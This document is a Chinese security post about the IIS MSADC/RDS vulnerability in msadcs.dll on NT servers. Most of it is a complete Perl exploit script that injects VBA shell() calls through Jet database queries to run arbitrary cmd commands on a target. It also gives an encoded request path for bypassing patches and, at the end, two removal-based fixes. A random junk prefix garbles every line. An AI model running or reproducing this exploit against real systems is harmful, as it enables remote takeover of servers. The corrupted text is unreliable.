IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
WO%h"' iJ w4MwD?i]R 涉及程序：
fB# XhO Microsoft NT server
!jh %} JJ u39FN?<^ 描述：
"zV']A>4H 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?9U:g( v @Y' I,e 详细：
[wcA.g* F 如果你没有时间读详细内容的话，就删除:
oP$kRfXS!< c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z}cIA8 7U 有关的安全问题就没有了。
"xwM+ AC lg/sMF>z\f 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
q=Xg*PM, A1JzW)B 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
_dmL}t- 关于利用ODBC远程漏洞的描述，请参看:
s j9 D Ob&W_D^=N http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y' tRANxQ LC'F<MpM 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\K`jCsT http://www.microsoft.com/security/bulletins/MS99-025faq.asp q6[}ydV P79R~m` 这里不再论述。
V;[p438o Lk(S2$)* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
2bA#D%PHD zv%J=N$G /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Z zL@ [g 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
F2oJ]th.3 <%,'$^'DS X!0kK8v #将下面这段保存为txt文件，然后: "perl -x 文件名"
o`U|`4, {,V$* #!perl
jy jQzt
>\ #
^('cbl # MSADC/RDS 'usage' (aka exploit) script
G `Izf1B`I #
|9]PtgQv7 # by rain.forest.puppy
?N#[<kd #
6:RMU # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|e"/Mf[ # beta test and find errors!
OWV/kz5'H [#X|+M&u6 use Socket; use Getopt::Std;
k |ip?O getopts("e:vd:h:XR", \%args);
BHiOQ0Fs {W'8T}q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6e:P.HqjA .v7`$ (T if (!defined $args{h} && !defined $args{R}) {
T:#S86m print qq~
k.>6nho`TV Usage: msadc.pl -h <host> { -d <delay> -X -v }
,|x\MHd?t_ -h <host> = host you want to scan (ip or domain)
>r:X~XnRUj -d <seconds> = delay between calls, default 1 second
D%
@KRcp^b -X = dump Index Server path table, if available
j1F w
U -v = verbose
]|BojSL_ -e = external dictionary file for step 5
E(/ sXji! 104!!m Or a -R will resume a command session
: ~'Z( -a !c_u-&b) ~; exit;}
iwkJ~(5z p )z-W( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
` G0*l|m> if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
n'3u ] ~7^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}M jQP R if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
@$ ftG $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/yt7#!tm+ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{tmKCG ,] U[W if (!defined $args{R}){ $ret = &has_msadc;
l qXc die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Ge~,[If+ |Pf(J;'[ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
D@5s8x v . "cmd /c ";
M4H"].Zm $in=<STDIN>; chomp $in;
c'~[!,[b< $command="cmd /c " . $in ;
Ut':$l= ~%KM3Vap if (defined $args{R}) {&load; exit;}
9RB`$5F ;
'2wCP
EC print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-4%]QS &try_btcustmr;
<4sj@C n`QO(pZ6+ print "\nStep 2: Trying to make our own DSN...";
$"1pws?d &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`;}H% q'2`0MRa
print "\nStep 3: Trying known DSNs...";
'oCm.~;_ &known_dsn;
2b!j.T#u * k!(ti [ print "\nStep 4: Trying known .mdbs...";
9 c6 ' &known_mdb;
W{\EE[XhCf =1R i]b if (defined $args{e}){
,P!D-MN$V print "\nStep 5: Trying dictionary of DSN names...";
b m^X!i5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3~:0?Zuq t, 1in4sN print "Sorry Charley...maybe next time?\n";
"kU> ~~y, exit;
hLSTSD} G#'Q~N ##############################################################################
d rs-mt8 Vl4Z_viNH sub sendraw { # ripped and modded from whisker
!+=Zjm4L sleep($delay); # it's a DoS on the server! At least on mine...
|a>}9:g,=* my ($pstr)=@_;
Y.(v{l socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q;Q%SI`yT die("Socket problems\n");
{GK(fBE if(connect(S,pack "SnA4x8",2,80,$target)){
PM8Ks?P#u select(S); $|=1;
}D Z)W0RDe print $pstr; my @in=<S>;
_o&94 & select(STDOUT); close(S);
{&0mK"z_ return @in;
6SV7\,2M } else { die("Can't connect...\n"); }}
~JAjr(G#o /=q.tDH=I ##############################################################################
F G3Sk!O6 ,zD_% ox sub make_header { # make the HTTP request
* *.:) my $msadc=<<EOT
h)^dB,~ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
RA} U#D:$i User-Agent: ACTIVEDATA
au, jA k Host: $ip
8H7O/n Content-Length: $clen
wy YtpW Connection: Keep-Alive
#n=A)#'my [f=.!\0\ ADCClientVersion:01.06
MSK'2+1T@g Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
})KJ60B nW~$
(Qnd --!ADM!ROX!YOUR!WORLD!
d i--:h/ Content-Type: application/x-varg
,TEu M| Content-Length: $reqlen
@W#fui<<}Y fEB195#@9 EOT
z;[gEA+I ; $msadc=~s/\n/\r\n/g;
L
43`^;u return $msadc;}
Ut]2` 8- 6zv;lx0<D& ##############################################################################
amMj uyW GKiq0*/M sub make_req { # make the RDS request
A*a7\id!y my ($switch, $p1, $p2)=@_;
Z(Km S ( my $req=""; my $t1, $t2, $query, $dsn;
q Frt^+@ "/Om}*VhD if ($switch==1){ # this is the btcustmr.mdb query
{K<uM'ww> $query="Select * from Customers where City=" . make_shell();
{ >wI8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
m"<4\;GK $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1B6C<cL:sU 8 ~.iuFp elsif ($switch==2){ # this is general make table query
';&0~ [R[ $query="create table AZZ (B int, C varchar(10))";
Q! Kn|mnN $dsn="$p1";}
kkT3 wP /8=:qIJYA elsif ($switch==3){ # this is general exploit table query
m5)EQE}gPp $query="select * from AZZ where C=" . make_shell();
xLe
=d |6 $dsn="$p1";}
E 2Us#a @+iC/ elsif ($switch==4){ # attempt to hork file info from index server
4 #aqz9k $query="select path from scope()";
%)8d{1at $dsn="Provider=MSIDXS;";}
K*HCFqr U" 4sb )^3T elsif ($switch==5){ # bad query
.F4oo = $query="select";
y +?=E g $dsn="$p1";}
+mivqR~{{ :G^"e $t1= make_unicode($query);
S|~ i > $t2= make_unicode($dsn);
yQ8M >H#J $req = "\x02\x00\x03\x00";
;&If9O 1 $req.= "\x08\x00" . pack ("S1", length($t1));
O;UiYrXU $req.= "\x00\x00" . $t1 ;
#m[vn^8B]y $req.= "\x08\x00" . pack ("S1", length($t2));
@55bE\E?@ $req.= "\x00\x00" . $t2 ;
^I@ey*$ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
]Mn&76 fu return $req;}
`< S/?I8 ZEL/Ndk ##############################################################################
SrdE>fNbs qo6 1O\qm sub make_shell { # this makes the shell() statement
m~##q}LZ return "'|shell(\"$command\")|'";}
v>rqOI ^O sA+Ea\ ##############################################################################
sP9 ^ IP 7X(rLd
6# sub make_unicode { # quick little function to convert to unicode
MhHr*!N"} my ($in)=@_; my $out;
4,j4E@?pG9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
tDEXm^B2Sv return $out;}
9cVn>Fb Km[]^;6 ##############################################################################
Y=5!QLV4 w}IL
8L(D sub rdo_success { # checks for RDO return success (this is kludge)
4Sg <r,G my (@in) = @_; my $base=content_start(@in);
\H,V 9!B if($in[$base]=~/multipart\/mixed/){
+]A+!8%Z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
iPA@<D% return 0;}
- zPm{a Dm>T"4B`/ ##############################################################################
Z"l`e0 { 6] .yRNy" sub make_dsn { # this makes a DSN for us
<+<)xwOQ ] my @drives=("c","d","e","f");
lO551Y^ print "\nMaking DSN: ";
T {hyt foreach $drive (@drives) {
,@}W@GGP) print "$drive: ";
:5r:I[FFy my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
PXOrOK "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
M7`UoTc+>d . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
1f+*Tmc5]Q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
X=fPGyhZ return 0 if $2 eq "404"; # not found/doesn't exist
bs:C1j\& if($2 eq "200") {
)EhTM-1 foreach $line (@results) {
-X`~;=m>U return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
gcX5Q^`a= } return 0;}
TvQWdX= p3V9ikyy ##############################################################################
A28ZSL @uQ%o%Ru6 sub verify_exists {
r$b:1 C~ my ($page)=@_;
z2rQ$O -# my @results=sendraw("GET $page HTTP/1.0\n\n");
"
7l jc return $results[0];}
F?}m8ZRv d [\>'> ##############################################################################
1j oc<EI N5:D8oWWXR sub try_btcustmr {
;e &hM\p my @drives=("c","d","e","f");
Q'FX:[@x-S my @dirs=("winnt","winnt35","winnt351","win","windows");
DH}s1mNMP uU8*$+ " foreach $dir (@dirs) {
=_#ye}E print "$dir -> "; # fun status so you can see progress
&@mvw=d foreach $drive (@drives) {
Z rmnQ print "$drive: "; # ditto
# n U@hOfg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Wwn5LlJ^ $reqlenlen=length( "$reqlen" );
0z#l0-NdQ $clen= 206 + $reqlenlen + $reqlen;
k$9Gn9L% 2N6Pa(6 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[{6 &.v if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
vG'vg Uo else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&M!4]p ow )OARO ##############################################################################
-=-x>(pRW7 Jm{As*W> sub odbc_error {
I T*fjUY& my (@in)=@_; my $base;
N&R
'$w my $base = content_start(@in);
5O;/ lX!u if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
E'S<L|A/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8.Pcr< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
eLHa 9R{)B $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D6 C -x return $in[$base+4].$in[$base+5].$in[$base+6];}
Pur"9jHa4 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Hl%+F 0^? print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
- L^0-g $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Mft0D j/ 9`n P(~ ##############################################################################
*X-~TC0
[ i~v@ sub verbose {
[8V(N2
my ($in)=@_;
TE*> a5C| return if !$verbose;
- ~rr<D\ print STDOUT "\n$in\n";}
&5kjjQ*HB <a4 iL3 ##############################################################################
/ieu) m :2 ^L*VW
gi9 sub save {
3L
1lq . my ($p1, $p2, $p3, $p4)=@_;
@B>%B EC open(OUT, ">rds.save") || print "Problem saving parameters...\n";
: L6-{9$ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
GI'&g@?u close OUT;}
ZI#SYEF6 4fU5RB7% ##############################################################################
1s^$ oi} kVB}r.NHP sub load {
_js2^<7v} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
MkluK=$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
_umO)]Si @p=<IN>; close(IN);
2vk8+LA(6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
d'**wh, $target= inet_aton($ip) || die("inet_aton problems");
h0y\,iWXb print "Resuming to $ip ...";
yK @X^jf $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
x~3>1Wr#M if($p[1]==1) {
BIb{<tG^N $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
"6[Ax{cM $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
KweHY, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ek+8hnkh if (rdo_success(@results)){print "Success!\n";}
~' PS| else { print "failed\n"; verbose(odbc_error(@results));}}
K> DnD 0 elsif ($p[1]==3){
?j^?@%f0
if(run_query("$p[3]")){
`*uuB ; print "Success!\n";} else { print "failed\n"; }}
I?:+~q}lZr elsif ($p[1]==4){
% (O^as if(run_query($drvst . "$p[3]")){
K 4VPmk G print "Success!\n"; } else { print "failed\n"; }}
Is,*qrl : exit;}
RY'\mt"W2 ^q4 :zZZ ##############################################################################
j*3sjOoC RmCn&-i sub create_table {
5. +$v 4 my ($in)=@_;
+Fkx") $reqlen=length( make_req(2,$in,"") ) - 28;
OFPd6,(E $reqlenlen=length( "$reqlen" );
x. yb4i=Jq $clen= 206 + $reqlenlen + $reqlen;
Z "+rg9/p my @results=sendraw(make_header() . make_req(2,$in,""));
.DV#-tUh return 1 if rdo_success(@results);
6|(7G64{ my $temp= odbc_error(@results); verbose($temp);
_UbR8 return 1 if $temp=~/Table 'AZZ' already exists/;
onS{ return 0;}
`5~o=g 8Vg`;_ - ##############################################################################
OU
Yb- ggYIq*4 sub known_dsn {
DrVb x # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@Ig,_i\UY: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&55uT;7] a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
XTn{1[.O "banner", "banners", "ads", "ADCDemo", "ADCTest");
N;Gf,pE [/2@=Uh- foreach $dSn (@dsns) {
0,i + print ".";
-7A!2mRiz next if (!is_access("DSN=$dSn"));
A`r$fCt1Vi if(create_table("DSN=$dSn")){
E%v[7 ST print "$dSn successful\n";
sO f)/19 if(run_query("DSN=$dSn")){
(*^E7
[ w print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
c9_4 ohB print "Something's borked. Use verbose next time\n";}}} print "\n";}
d+$[EDix =4%WOI ##############################################################################
Pq_ApUZa fb S. sub is_access {
Q:xI}
]FM my ($in)=@_;
N[?4yV2s $reqlen=length( make_req(5,$in,"") ) - 28;
B )3SiU $reqlenlen=length( "$reqlen" );
#@OKp,LJ $clen= 206 + $reqlenlen + $reqlen;
|H|eH~.yg& my @results=sendraw(make_header() . make_req(5,$in,""));
V'| g my $temp= odbc_error(@results);
V[2<ha[n> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
14) kKWG return 0;}
<pa];k(IQL *^$N $t/2 ##############################################################################
mrB hvp"" 7E84@V[\ sub run_query {
*IfIRR>3l( my ($in)=@_;
=_~'G^`tu $reqlen=length( make_req(3,$in,"") ) - 28;
]V[ $reqlenlen=length( "$reqlen" );
OG<]`!" $clen= 206 + $reqlenlen + $reqlen;
ysP/@;jC my @results=sendraw(make_header() . make_req(3,$in,""));
}X.8.S' return 1 if rdo_success(@results);
3kzG L my $temp= odbc_error(@results); verbose($temp);
l#(g&x6J return 0;}
~'YSVx& ) I 7-PF? ##############################################################################
w `9GygS t6U+a\-< sub known_mdb {
98%a)s)(a my @drives=("c","d","e","f","g");
Q,LWZw~" my @dirs=("winnt","winnt35","winnt351","win","windows");
'&L
my $dir, $drive, $mdb;
[>QsMUvak my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cF>;f(X &G5I0:a
# this is sparse, because I don't know of many
@eD~FNf-] my @sysmdbs=( "\\catroot\\icatalog.mdb",
ok=E/77` "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
nd9-3W "\\system32\\certmdb.mdb",
IU"!oM ^ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
'2B0D|r"a Y(;[L`" my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
KgkB)1s@n "\\cfusion\\cfapps\\forums\\forums_.mdb",
|D_n4#X7u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
OsuSx^} "\\cfusion\\cfapps\\security\\realm_.mdb",
B 0fo[Ev "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^ZZ@!Udy "\\cfusion\\database\\cfexamples.mdb",
C3`.-/{D" "\\cfusion\\database\\cfsnippets.mdb",
K`mxb} "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
7JK 'vT "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
!c;p4 B) "\\cfusion\\brighttiger\\database\\cleam.mdb",
{>qrf: "\\cfusion\\database\\smpolicy.mdb",
K^p"Z$$ "\\cfusion\\database\cypress.mdb",
!i lDR< "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<@2?2l+`X "\\website\\cgi-win\\dbsample.mdb",
/? <9,7#i "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Sf8Xj |u "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
rEyMSLN ); #these are just
W2V@\ foreach $drive (@drives) {
+/^q"/f F foreach $dir (@dirs){
Z|7I }i foreach $mdb (@sysmdbs) {
f#JF5>o print ".";
!{- 3:N7 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
x-P_}}K 79 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
~1z8G >R if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
NxRiEe#m print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
pc(9(. | } else { print "Something's borked. Use verbose next time\n"; }}}}}
FP
cvkXQD hYQ%|CBXBR foreach $drive (@drives) {
).6/ii9gt foreach $mdb (@mdbs) {
Y+PxV*"a print ".";
f;I"tugO if(create_table($drv . $drive . $dir . $mdb)){
yOm6HA``hT print "\n" . $drive . $dir . $mdb . " successful\n";
k$m X81 if(run_query($drv . $drive . $dir . $mdb)){
Lgw@y!Llij print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
kxiyF$
9 } else { print "Something's borked. Use verbose next time\n"; }}}}
m^&mCo, }
*^m.V= ? 9M+f i ##############################################################################
B,qZ wc| yD'h5)yu sub hork_idx {
&~ 6O;}\ print "\nAttempting to dump Index Server tables...\n";
E&=?\KM print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
y")>"8 H $reqlen=length( make_req(4,"","") ) - 28;
iONql7S @ $reqlenlen=length( "$reqlen" );
y3$\ m $clen= 206 + $reqlenlen + $reqlen;
ZI*A0_;L my @results=sendraw2(make_header() . make_req(4,"",""));
`9)2nkJk'z if (rdo_success(@results)){
Rf $6}F
my $max=@results; my $c; my %d;
eHZ l-|- for($c=19; $c<$max; $c++){
, 0ja _ $results[$c]=~s/\x00//g;
?~9X:~6\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
F>nrV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3m9 E2R, $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
B}bNl 7
~ $d{"$1$2"}="";}
Cd*C^cJU&z foreach $c (keys %d){ print "$c\n"; }
) x $Vy= } else {print "Index server doesn't seem to be installed.\n"; }}
|iThgq_ \z f\_Q+!^ ##############################################################################
y(g
Otg
-Q8`p sub dsn_dict {
))zaL2UP. open(IN, "<$args{e}") || die("Can't open external dictionary\n");
un%"s: while(<IN>){
&c ejy>K $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?n~j2-[< next if (!is_access("DSN=$dSn"));
6@36 1f[ if(create_table("DSN=$dSn")){
~H."{ print "$dSn successful\n";
5q*~h4=r7 if(run_query("DSN=$dSn")){
N>iCb:_
T; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
D($ UbT-v print "Something's borked. Use verbose next time\n";}}}
*m/u 3.\ print "\n"; close(IN);}
P hdL@Mr 4& WzG nK ##############################################################################
_Xe< JJvq ^W*)3;5 sub sendraw2 { # ripped and modded from whisker
5.;$9~d sleep($delay); # it's a DoS on the server! At least on mine...
]zAg6*-/B my ($pstr)=@_;
p#NZ\qJ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ZSf+5{2m die("Socket problems\n");
*38\&"s4_ if(connect(S,pack "SnA4x8",2,80,$target)){
;\0RXirk print "Connected. Getting data";
IKj1{nZvDc open(OUT,">raw.out"); my @in;
;hp; Rd select(S); $|=1; print $pstr;
'KrkC A while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
cM Kh+r close(OUT); select(STDOUT); close(S); return @in;
AE~}^(G` } else { die("Can't connect...\n"); }}
<T9m.:l G7xjW 6^T ##############################################################################
k82LCV+6 "6h.6_bTw sub content_start { # this will take in the server headers
7t/SZm my (@in)=@_; my $c;
RGOwm~a for ($c=1;$c<500;$c++) {
uQ) ] g if($in[$c] =~/^\x0d\x0a/){
jl7-"V>j?; if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
|]^! 4[!U else { return $c+1; }}}
WJ,ON-v return -1;} # it should never get here actually
=,9'O/br nQ MN2j M ##############################################################################
-I<`!kH* o?\ Pw9Y sub funky {
l^Z~^.{y my (@in)=@_; my $error=odbc_error(@in);
$ RO=r90o if($error=~/ADO could not find the specified provider/){
g DIB'Y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
)f|6=x4 exit;}
< ,n4| z) if($error=~/A Handler is required/){
WVFy Zp B print "\nServer has custom handler filters (they most likely are patched)\n";
}7^*%$ exit;}
j R:Fih-} if($error=~/specified Handler has denied Access/){
(CwaO m{g print "\nServer has custom handler filters (they most likely are patched)\n";
an@Ue7 exit;}}
/zAx`H \|s/_35( ##############################################################################
:a`m9s 4 HRh".!lxy sub has_msadc {
o$;x[US my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
6jA Q my $base=content_start(@results);
4Yk (ldR~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
j'cS_R return 0;}
1NJ|%+I ' JVvL ########################
3 Q;l*xu gE#,QOy UNHHzTsr? 解决方案：
ponvi42u 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
dDn:^) 2、移除web 目录: /msadc
